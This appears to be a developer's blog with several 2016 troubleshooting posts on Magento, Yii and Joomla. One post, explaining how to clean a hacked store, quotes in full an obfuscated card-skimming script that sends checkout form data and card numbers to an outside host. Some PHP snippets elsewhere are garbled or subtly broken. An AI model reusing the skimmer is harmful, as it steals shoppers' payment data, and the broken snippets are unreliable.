Tuesday 2 August 2016

Magento Unknown date format, neither date nor time in ‘yyyy-MM-dd HH:mm:ss’ found

Issues resolved
go to  file \lib\Zend\Locale\Format.php      line number 827

                 $day   iconv_strpos($format'd');
        $month iconv_strpos($format'M');
        
$year  iconv_strpos($format'y');
        
$hour  iconv_strpos($format'H');
        
$min   iconv_strpos($format'm');
        
$sec   iconv_strpos($format's');
Replace the code

        $day   iconv_strpos($format'd',0,'UTF-8');
        
$month iconv_strpos($format'M',0,'UTF-8');
        
$year  iconv_strpos($format'y',0,'UTF-8');
        
$hour  iconv_strpos($format'H',0,'UTF-8');
        
$min   iconv_strpos($format'm',0,'UTF-8');
        
$sec   iconv_strpos($format's',0,'UTF-8');

and add the below code to add the following to your index.php:




iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding""ISO-8859-1");

Thanks,


Wednesday 13 July 2016

Magento Remove & Replace Database Table Prefix

Steps:

  1. Take a database backup.
  2. Create a File Named "filename.php" and placed at root directory.
  3. Paste the above Script in it.
  4. before run the file if $dryrun=true; it mins only check the rename process or $dryrun=false; it mins rename the table.
  5. All tables will be renamed.
  6. go to app/etc/local.xml <table_prefix><![CDATA[prefix]]></table_prefix>
  7. you're done.
<?php

$database_host      = "";
$database_user      = "";
$database_password  = "";
$magento_database   = "";
$table_prefix       = "ex_";
$dryrun =  true; // change to false when you want to commit changes
$link = mysqli_connect($database_host, $database_user, $database_password, $magento_database);
/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}
$query = "SHOW TABLES";

$result = mysqli_query($link,$query) or die('### Error cannot connect to DB');
if ($dryrun) { echo "### No changes made, just testing <br />"; }
while($row = mysqli_fetch_array($result)) {
$old_table = $row[0];
if ($new_table = preg_replace('/^'.$table_prefix.'/', '', $old_table)) {
if ($new_table != $old_table ) {
echo "Rename: " . $old_table . ", to: ". $new_table;
if (!$dryrun) {
$query = "RENAME TABLE `$old_table` TO `$new_table`";
mysqli_query($link,$query);
echo " -> DONE <br />";
} else { echo " -> Just checking <br />"; }
} else {
echo "Nothing to rename: " . $old_table  . "<br />";
}
    }
}
?>

Monday 2 May 2016

PHP Notice 'yii\base\ErrorException' with message 'unserialize(): Error at offset

yiisoft\yii2-debug\controllers\DefaultController.php:132
Looks like a problem in the cached version of the request data.
Clearing the folder files under

\backend\runtime\debug\
\frontend\runtime\debug\

Tuesday 16 February 2016

Joomla : 500 - PHP regular expression limit reached (pcre.backtrack_limit)


Hello,

I also got this error 500 "PHP regular expression limit reached (pcre.backtrack_limit)" on my website Top iPhone Apps created in Joomla 1.7.3

This occurred when I created so many menu items. After searching forums, I was able to fix it.
How? Here is the solution:

This is some kind of php restriction and you will need to override this php restriction by modifying index.php on your root.

Add following two lines in index.php and you don't need to modify any other file:

ini_set('pcre.backtrack_limit',1000000);
ini_set('pcre.recursion_limit',1000000);

Once it is modified, clear your cache and reopen your website. Its working fine.

Tuesday 9 February 2016

XMLHttpRequest cannot load https://ownsafety.org/opp.php. No 'Access-Control-Allow-Origin'

Your site is hacked.
  • Go to System > Configuration > Design.
  • Select Html head > Miscellaneous Scripts
  • Remove this script: on all default and all store view
<script>function j(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}j("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+j("SESSIID")),console.clear()}}})});</script>

Tuesday 2 February 2016

Magento – get Attribute details by attribute code

magento attribute is a very important part of the catalog structure. Many a time we need to get some other details of the attribute, for example frontend label or attribute id or the attribute frontend type. This code returns all the details of the product attribute using the attribute code $attribute_attributecode = "attributecode"; $attribute_details = Mage::getSingleton("eav/config")->getAttribute("catalog_product", $attribute_utpftp); $options_attributecode = $attribute_details->getSource()->getAllOptions(false); $attribute = $attribute_details->getData(); $label_attributecode =$attribute['frontend_label']; $input_attributecode =$attribute['frontend_input'];

Saturday 30 January 2016

Magento 2 After Create a Demo Theme CSS & JS not Load

First delete the current static theme files, if any, in order to apply newly added changes:

  • You may already be familiar with developer mode. If you add the following to your .htaccess file ‘SetEnv MAGE_MODE developer’
  • Remove all  files pub/static/frontend files of theme like /<myvender>/<mytheme>
  • Remove all files var/view_preprocessed/source/frontend/<myvender>/<mytheme>
  • Now clear var/cache and then check.

Magento 2 Create a Demo With Custom Themes

If you want create a custom theme please follow below steps

Create a theme directory

To create the directory for your theme:
  1. Go to <your Magento install dir>/app/design/frontend.
  2. Create a new directory named according to your vendor name like: /app/design/frontend/myvendor.
  3. Under the myvender directory, create a directory named according to your theme. (e.g. mytheme) theme directory structure looks like below
app/design/frontend/
├── myvender/
│   │   ├──mytheme/
│   │   │   ├── etc
│   │   │   ├── media
│   │   │   ├── web
|   |   |   |    ├── css
|   |   |   |    ├── images
|   |   |   |    ├── js
│   │   │   ├── registration.php
│   │   │   ├── theme.xml

*etc/media/web folder copy to install magento directory
vendor/magento/theme-frontend-blank

Declare your theme

First need create mytheme/theme.xml to your theme directory
app/design/frontend//
Configure it using the following example:
<!--
/**
 * Copyright © 2015 Magento. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<theme xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Config/etc/theme.xsd">    <title>My Custom Theme</title>
    <parent>Magento/blank</parent>
    <media>
        <preview_image>media/mytheampreview.jpg</preview_image>
    </media>
</theme>

Register your theme

Your theme directory add a mytheam/registration.php file with the following content:
<?php
/**
* Copyright © 2015 Magento. All rights reserved.
* See COPYING.txt for license details.
*/
\Magento\Framework\Component\ComponentRegistrar::register(
    \Magento\Framework\Component\ComponentRegistrar::THEME,
    'frontend/myvender/mytheme',
    __DIR__
);


Configure Your theme

Default theme.js file

<your Magento install dir>dev\tools\grunt\configs\themes.js
/**
 * Copyright © 2015 Magento. All rights reserved.
 * See COPYING.txt for license details.
 */

'use strict';

/**
 * Define Themes
 *
 * area: area, one of (frontend|adminhtml|doc),
 * name: theme name in format Vendor/theme-name,
 * locale: locale,
 * files: [
 * 'css/styles-m',
 * 'css/styles-l'
 * ],
 * dsl: dynamic stylesheet language (less|sass)
 *
 */
module.exports = {
    blank: {
        area: 'frontend',
        name: 'Magento/blank',
        locale: 'en_US',
        files: [
            'css/styles-m',
            'css/styles-l',
            'css/email',
            'css/email-inline'
        ],
        dsl: 'less'
    },
    luma: {
        area: 'frontend',
        name: 'Magento/luma',
        locale: 'en_US',
        files: [
            'css/styles-m',
            'css/styles-l'
        ],
        dsl: 'less'
    },
    backend: {
        area: 'adminhtml',
        name: 'Magento/backend',
        locale: 'en_US',
        files: [
            'css/styles-old',
            'css/styles'
        ],
        dsl: 'less'
    }
};



After add mytheme code.


/**
 * Copyright © 2015 Magento. All rights reserved.
 * See COPYING.txt for license details.
 */

'use strict';

/**
 * Define Themes
 *
 * area: area, one of (frontend|adminhtml|doc),
 * name: theme name in format Vendor/theme-name,
 * locale: locale,
 * files: [
 * 'css/styles-m',
 * 'css/styles-l'
 * ],
 * dsl: dynamic stylesheet language (less|sass)
 *
 */
module.exports = {
    blank: {
        area: 'frontend',
        name: 'Magento/blank',
        locale: 'en_US',
        files: [
            'css/styles-m',
            'css/styles-l',
            'css/email',
            'css/email-inline'
        ],
        dsl: 'less'
    },
    luma: {
        area: 'frontend',
        name: 'Magento/luma',
        locale: 'en_US',
        files: [
            'css/styles-m',
            'css/styles-l'
        ],
        dsl: 'less'
    },
    mytheme: {
        area: 'frontend',
        name: 'myvender/mytheme',
        locale: 'en_US',
        files: [
            'css/styles-m',
            'css/styles-l'
        ],
        dsl: 'less'
    },
    backend: {
        area: 'adminhtml',
        name: 'Magento/backend',
        locale: 'en_US',
        files: [
            'css/styles-old',
            'css/styles'
        ],
        dsl: 'less'
    }
};


**flush your cache

After add this file. We can see the theme in backend admin side. Content >> Theme
Now theme is created and displayed at admin side store >> Configuration >> General >> Design to change the theme.


Hope this will help full.